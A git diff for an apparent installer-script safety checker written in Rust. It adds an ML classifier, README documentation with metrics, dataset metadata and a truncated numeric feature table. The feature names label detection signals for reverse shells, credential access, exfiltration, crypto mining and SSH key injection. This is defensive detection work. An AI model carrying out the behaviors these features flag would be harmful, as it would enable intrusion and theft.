"proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1e27c91459209c2986af3dcf603a5a74a4368754ce37414f59acc971167f643" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd3ca314f692efd6c868f8408f53fe444634a845f96c028b97d35f6a1f79f0ee" + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0c85f2c3ef0b1cd58b36682f4b17aaa995f0e5db534d85692b4903abce21f67" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-http" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", + "url", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d245f478577f809a851594d02313b640fb437e0bb33866753cff937863096954" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bb54f33acc68fd454578d9820b0bde1a1a3d17aa17bb7b6595806d02886d409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cbab34de2d982e9b48e18d216d04c4a6f641066ff19ffb699980f591ee3610e" +dependencies = [ + "js-sys", + "tokio", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e29d0c35b16e224a7eeb5cd2d25e3e1968fbd65604117b44d3b789d00ee8535" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f501a8bc3719dba86ef8ae4728879c08001bea749eb1333ac5b91e040e2a6b7" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f0c9c52aa7cd7d77769a4cfe2a9adb1b331f489a41d912ce14513d5ab995c6" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88261b9deccee56594c11a3460c462c41f58d148598fe70ad77070126a68aba4" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "writeable" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" + +[[package]] +name = "yoke" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33811428bee40dbceb6d545e95754741d17a6aef9a4849f0fd62e2ba4f412a78" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f75b4683f6c7f45248d4d64056a24298c6281e0993356d7d1b4a1a962ef10d4a" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" + +[[package]] +name = "zerotrie" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea269c3bd32f0a32c321907a2ae912ba6f4649bb0fc764a15627e99a7095a3f" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0464e17806c1d976d5cba29399c7f08e516e279e2ba493f63123b5fca67dd8" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34df6fc39dbd26ddc9c10e6a2984476e13acce22e64e4487636ef494369225da" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml index 2125b8a..01c2919 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -15,7 +15,7 @@ clap = { version = "4.5", features = ["derive"] } regex = "1.11" reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "json"] } serde = { version = "1.0", features = ["derive"] } -serde_json = "1.0" +serde_json = { version = "1.0", features = ["preserve_order"] } sha2 = "0.10" tempfile = "3.20" tokio = { version = "1.45", features = ["macros", "process", "rt-multi-thread", "signal"] } diff --git a/README.md b/README.md index bfb1261..dee695c 100644 --- a/README.md +++ b/README.md @@ -38,6 +38,46 @@ https://github.com/user-attachments/assets/633bf111-6226-4e0b-8bcf-4d3e11054a28 - **Energy-based scoring** - exponential saturation prevents score inflation from duplicate findings - **Adaptive prompts** - `[Y/n]` for low risk, `[y/N]` for high risk, `-y` to skip - **JSON output** - machine-readable for CI pipelines and automation +- **ML classifier** - a RandomForest trained on installer behavior adds a second, learned opinion alongside the hand-written rules + +## Machine learning classifier + +Static rules catch known-bad patterns one at a time. The ML classifier adds a second +opinion that weighs **57 behavioral features** of a script together — the same 10 rule +hits plus entropy, line statistics, URL/IP counts, base64 density, PowerShell obfuscation +signals, credential-access and anti-forensics markers, and the installer type — and returns +a calibrated `p(malicious)`. When it crosses the model's threshold it becomes an **ML Model** +finding that feeds the same energy-based risk score. + +The model is a `RandomForest` trained offline (`ml/`) and exported to **pure Rust** +(`src/ml_model.rs`) with [`m2cgen`](https://github.com/BayesWitnesses/m2cgen). Inference is a +few thousand branch comparisons: no Python, no network, no model file to ship. Python and the +exported Rust agree on `p(malicious)` to within `5e-11`. + +| Metric (held-out test set) | Value | +|---|---| +| Precision | 0.992 | +| Recall | 0.992 | +| F1 | 0.992 | +| ROC AUC | 0.999 | +| Threshold | 0.53 | + +Feature extraction lives in `src/features.rs` and is exposed through a hidden +`safe features --json` subcommand, so the training pipeline and the shipped binary +compute an identical representation. Pass `--no-ml` to `inspect`/`run` to skip the classifier. + +Training data, methodology, and limitations are documented in [`ml/README.md`](ml/README.md). +The benign class is features of real installer scripts (rustup, nvm, Homebrew, Deno, Docker, +Helm, and dozens more); the malicious class is synthesized in **feature space** from documented +MITRE ATT&CK indicator distributions — no malware is stored, committed, or executed anywhere in +this repository. + + + + + + +
benign installer, no ML findingsuspicious script flagged by ML Model
## Install @@ -184,6 +224,9 @@ src/ ├── command.rs # Input classifier (URL, curl-pipe, package manager) ├── source.rs # Downloader and installer type detection ├── analyzer.rs # Static analysis rules and scoring engine +├── features.rs # ML feature extraction (57 features, shared with ml/) +├── ml.rs # Classifier inference and ML Model findings +├── ml_model.rs # RandomForest exported to pure Rust (generated) ├── executor.rs # Execution gates and interpreter dispatch ├── report.rs # Terminal and JSON output formatting ├── config.rs # Persistent config storage (API keys) diff --git a/data/dataset_meta.json b/data/dataset_meta.json new file mode 100644 index 0000000..f47e8b3 --- /dev/null +++ b/data/dataset_meta.json @@ -0,0 +1,66 @@ +{ + "benign": 480, + "malicious_synthetic": 528, + "features": 57, + "feature_order": [ + "rule_exec_downloaded", + "rule_downloads", + "rule_privilege", + "rule_persistence", + "rule_profile", + "rule_chmod", + "rule_registry", + "rule_disable_security", + "rule_encoded_exec", + "rule_recursive_delete", + "log_size", + "log_lines", + "avg_line_len", + "log_max_line_len", + "long_line_ratio", + "entropy", + "comment_ratio", + "blank_ratio", + "non_ascii_ratio", + "symbol_ratio", + "dollar_per_line", + "url_count", + "http_url_count", + "ip_url_count", + "ipv4_count", + "distinct_hosts", + "base64_tokens", + "log_longest_token", + "function_count", + "hex_escapes", + "char_codes", + "string_concat", + "backtick_obfuscation", + "ps_iex", + "ps_hidden_window", + "ps_exec_bypass", + "ps_download_cradle", + "ps_reflection", + "sh_reverse_shell", + "sh_eval", + "anti_forensics", + "credential_access", + "crypto_mining", + "exfiltration", + "tmp_exec_dir", + "background_exec", + "file_lock", + "process_kill", + "user_creation", + "ssh_key_injection", + "checksum_verify", + "usage_help", + "kind_bash", + "kind_powershell", + "kind_python", + "kind_executable", + "kind_text" + ], + "seed": 1706, + "note": "Benign rows are features of real installer scripts. Malicious rows are synthesized in feature space from documented ATT&CK indicator distributions; no malware is stored or executed." +} \ No newline at end of file diff --git a/data/features.csv b/data/features.csv new file mode 100644 index 0000000..533f3c2 --- /dev/null +++ b/data/features.csv @@ -0,0 +1,1009 @@ +label,rule_exec_downloaded,rule_downloads,rule_privilege,rule_persistence,rule_profile,rule_chmod,rule_registry,rule_disable_security,rule_encoded_exec,rule_recursive_delete,log_size,log_lines,avg_line_len,log_max_line_len,long_line_ratio,entropy,comment_ratio,blank_ratio,non_ascii_ratio,symbol_ratio,dollar_per_line,url_count,http_url_count,ip_url_count,ipv4_count,distinct_hosts,base64_tokens,log_longest_token,function_count,hex_escapes,char_codes,string_concat,backtick_obfuscation,ps_iex,ps_hidden_window,ps_exec_bypass,ps_download_cradle,ps_reflection,sh_reverse_shell,sh_eval,anti_forensics,credential_access,crypto_mining,exfiltration,tmp_exec_dir,background_exec,file_lock,process_kill,user_creation,ssh_key_injection,checksum_verify,usage_help,kind_bash,kind_powershell,kind_python,kind_executable,kind_text +0,0,1,0,0,0,1,0,0,0,0,7.2485,3.7612,33.4524,4.55388,0,5.13475,0.166667,0.142857,0,0.0192171,0.309524,0.693147,0,0,0,0.693147,0.693147,4.55388,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,0,1,0,0,0,0 +0,0,0,1,0,1,1,0,0,0,0,10.4774,7.12044,28.7241,4.89035,0,5.41586,0.0542071,0.109223,0,0.111765,0.466019,2.56495,0,0,0,1.38629,1.09861,4.54329,3.58352,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,1,0,0,0,0,0,0,0,9.51687,6.33328,24.1744,4.8828,0,5.35294,0.0284698,0.101423,0,0.127411,0.478648,0.693147,0,0,0,0.693147,0,4.27667,2.99573,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,9.82239,6.14633,39.573,5.61313,0,5.03437,0.103004,0.137339,0,0.0438154,0.652361,1.60944,0,0,0,1.38629,1.09861,4.97673,1.09861,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,1.38629,0,0,0.693147,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.83913,4.49981,28.5056,4.69135,0,5.00869,0.0561798,0.168539,0,0.0421758,0.191011,0,0,0,0,0,0,3.66356,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,1,1,0,0,0,1,9.73826,6.05678,39.7958,5.16479,0,4.874,0.0633803,0.126761,0,0.0523801,0.643192,1.38629,0,0,0,1.38629,1.09861,4.67283,1.60944,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,1,0,0,0,0,0,0,0,8.97715,5.18178,44.7401,5.01064,0,4.76641,0.141243,0.101695,0,0.0439449,0.570621,1.79176,0,0,0,1.09861,1.60944,4.52179,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.96891,5.45959,33.5641,4.90527,0,5.28493,0.0897436,0.183761,0,0.0944742,0.705128,0.693147,0.693147,0,0,0.693147,0,4.51086,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.19722,0,0,0,0,0,1.79176,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,8.68135,5.47227,24.8565,4.60517,0,5.09503,0.00843882,0.118143,0,0.0833475,0.383966,1.60944,0,0,0,1.09861,0.693147,4.34381,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,10.2662,6.6695,36.5222,5.50126,0,5.10219,0.135959,0.127065,0,0.0479421,0.584498,2.70805,0.693147,0,0,1.94591,0,4.70048,3.21888,0,0,0,1.09861,0.693147,0,1.60944,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,0,1,0,0,0,0,9.5451,6.14633,29.9893,5.15329,0,4.9096,0.111588,0.118026,0,0.0619678,0.354077,1.94591,0,0,0,1.09861,1.09861,4.57471,2.83321,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,10.0623,6.77194,26.8819,5.17048,0,5.14723,0.144495,0.169725,0,0.0913784,0.581422,2.70805,0.693147,0,0,1.94591,0,4.45435,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0.693147,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,10.0656,6.77422,26.9096,5.1358,0,5.14906,0.144165,0.169336,0,0.0920532,0.580092,2.70805,0.693147,0,0,1.94591,0,4.45435,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0.693147,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,9.20493,5.98645,25.0504,5.0626,0,5.27709,0.0327456,0.0503778,0,0.0824535,0.506297,2.56495,0.693147,0,0,1.38629,0,4.63473,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.65544,3.3322,28.7407,4.82831,0,5.14424,0,0.185185,0,0.0579897,0.407407,0,0,0,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,1,0,0,0,0,7.77402,4.41884,28.9878,4.70048,0,5.5813,0.0853659,0.207317,0,0.0790913,0.439024,1.38629,0,0,0,0.693147,0.693147,4.67283,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,8.77184,5.3799,29.8565,4.90527,0,4.84463,0.0277778,0.189815,0.00325632,0.0472942,0.208333,1.79176,0,0,0,1.09861,0.693147,4.38203,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,1,0,0,0,0,0,0,0,6.01127,2.89037,23.9412,4.35671,0,4.91682,0.705882,0.117647,0,0.02457,0.117647,0,0,0,0,0,0,3.21888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.77107,4.12713,38.8525,4.74493,0,5.36393,0.0819672,0.0819672,0,0.0700422,0.983607,1.09861,0,0,0,0.693147,0,4.59512,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.73979,4.36945,29.4487,4.89784,0,5.30376,0.0641026,0.153846,0,0.0927296,0.487179,1.09861,0,0,0,0.693147,0,4.70048,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,1,0,0,0,1,8.24065,5.20401,20.9448,4.75359,0,5.0788,0.0331492,0.171271,0,0.0662094,0.364641,1.09861,0,0,0,1.09861,0,4.17439,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.75173,5.66643,59.6632,4.96981,0,6.06896,0.760417,0.0625,0.000174591,0.0131525,0.159722,0.693147,0,0,0,0.693147,5.34711,4.17439,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.20949,1.79176,36.4,4.2485,0,4.41257,0,0,0,0,0,0,0,0,0,0,0,4.02535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,1,1,1,1,0,0,0,0,0,0,9.67149,6.42811,25.6602,5.21494,0,5.07366,0.0744337,0.140777,0,0.0538529,0.360841,2.83321,0,0,0,1.94591,1.09861,4.69135,3.46574,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1.94591,1,0,0,0,0 +0,0,1,0,0,1,0,0,0,0,0,7.72665,4.23411,33.3382,5.29832,0,5.27608,0.102941,0.191176,0,0.0714601,0.75,1.60944,0,0,0,1.38629,0,4.41884,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +0,0,1,0,0,0,1,0,0,0,0,8.26411,4.85981,30.3203,5.14166,0,5.13467,0.117188,0.09375,0,0.0523061,0.328125,1.79176,0,0,0,1.38629,0,4.57471,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,1,1,0,0,0,0,0,0,10.0739,6.70196,29.171,5.0689,0,5.23108,0.205412,0.0774908,0,0.0496711,0.309963,2.83321,0,0,0,2.19722,0,5.05625,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,9.14302,5.64897,33.0318,5.43372,0,5.39152,0.187279,0.113074,0,0.0434318,0.360424,2.30259,0,0,0,1.79176,0.693147,4.82028,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,11.0156,7.30384,40.9542,5.6058,0,4.84241,0.0659933,0.13468,0,0.0510877,0.767677,2.70805,0,0,0,1.94591,0,4.76217,3.85015,0,0,0,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,11.0598,7.54327,33.6847,5.51343,0,4.65229,0.102279,0.132485,0,0.0618284,0.505034,2.83321,0,0,0,1.94591,0,5.01064,4.02535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.13409,3.80666,28.4773,4.48864,0,5.13158,0.136364,0.25,0,0.0359138,0.613636,0,0,0,0,0,0,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,1,0,0,1,0,0,0,1,8.38183,4.99043,29.9041,4.69135,0,5.30519,0.239726,0.116438,0,0.0547412,0.438356,2.07944,0,0,0,1.60944,0.693147,4.64439,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.30259,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,0,0,0,1,0,0,0,1,8.66751,5.47227,24.5148,4.82831,0,5.18128,0.0886076,0.105485,0,0.0913941,0.434599,1.79176,0,0,0,1.38629,0,4.79579,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.3979,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.77765,5.1358,1.90533,4.15888,0,3.43712,0.0118343,0.976331,0,0,0,0,0,0,0,0,0.693147,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,1,0,0,0,0,0,0,0,8.93893,5.42495,33.7257,4.85981,0,5.31843,0.393805,0.0929204,0,0.0422461,0.345133,0,0,0,0,0,0,3.8712,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.32069,4.8828,31.3511,4.91265,0,5.33528,0,0.114504,0,0.0367665,0,0,0,0,0,0,0,3.98898,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,1,0,0,0,0,0,0,0,1,9.3579,6.07304,26.7644,5.01728,0,5.26584,0.0277136,0.0531178,0,0.08068,0.491917,2.3979,0.693147,0,0,1.09861,0,4.29046,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.04752,3.46574,37.0645,4.60517,0,5.30629,0.225806,0.225806,0,0.051349,0.516129,0,0,0,0,0,0,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 